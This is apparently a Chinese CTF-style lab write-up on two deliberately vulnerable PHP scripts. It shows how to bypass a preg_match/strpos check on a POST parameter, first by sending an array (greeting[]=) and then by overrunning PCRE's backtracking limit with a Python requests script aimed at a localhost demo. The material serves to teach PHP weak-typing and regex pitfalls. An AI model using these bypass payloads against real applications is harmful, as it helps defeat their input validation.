目录
环境
案例1
前要
代码审计
分析
案例2
代码审计
分析
payload
环境
phpstudy
案例1
前要
php中0 1 -1 true false null 空字符 数组之间的比较
代码审计
<?php
function areyouok($greeting){return preg_match('/Merry.*Christmas/is',$greeting); //2.传参之后来到这个有正则匹配的函数
}
$greeting=@$_POST['greeting'];
//1.post传参if(!areyouok($greeting)){//3.这个if要areyouok返回false才能进来if(strpos($greeting,'Merry Christmas') !== false){ //4.这个if要里面的strpos为字符查找函数,//如果查找到返回字符的位置,没有就返回false//5.根据弱类型匹配原则构造payloadecho 'flag{this is flag}';}else{echo 'Do you know .swp file?';}
}else{echo 'Do you know PHP?';
}
strpos函数官方文档提示:
经过实验,如果字符串位置放数组返回的实际是null
分析
①正则要匹配不上才能进第一个if
②第二个if又要求greeting中含有Merry Christmas
③跳出第二个的思想,根据官方文档提示如果返回的是null的话
④null !== false能返回true是因为!==参考的是严格比较=== (!=参考的==)
payload
greeting[]=
案例2
代码审计
<?php
function areyouok($greeting){return preg_match('/Merry.*Christmas/is',$greeting);
}
//3.目的是不匹配上merrychristmas$greeting=@$_POST['greeting'];
//1.post传参
if(!is_array($greeting)){//2.判断是否为数组(封杀案例1的那种payload)if(!areyouok($greeting)){if(strpos($greeting,'Merry Christmas') !== false){//4.匹配上merrychristmasecho 'Merry Christmas. '.'flag{this is flag}';}else{echo 'Do you know .swp file?';}}else{echo 'Do you know PHP?';}
} else {echo 'fuck array!!!';
}
?>
分析
①不能匹配到MC的同时又要匹配到MC才能拿到flag
②正则回溯吐字符100w次就会返回false(目的是防止ddos)这样第一个if就能过去了,第二个只要里面存在MC也能进,那就构造存在MC的然后又会回溯100w次以上的
payload
from requests import postpayload = {'greeting': 'Merry Christmas' +'x'*1000000
}
res = post('http://localhost:8081/demo4.php', data=payload)
print(res.text)
注:图中所标版本复现失败,我以为是php版本高了,结果下面那个8.的复现成功了实属离奇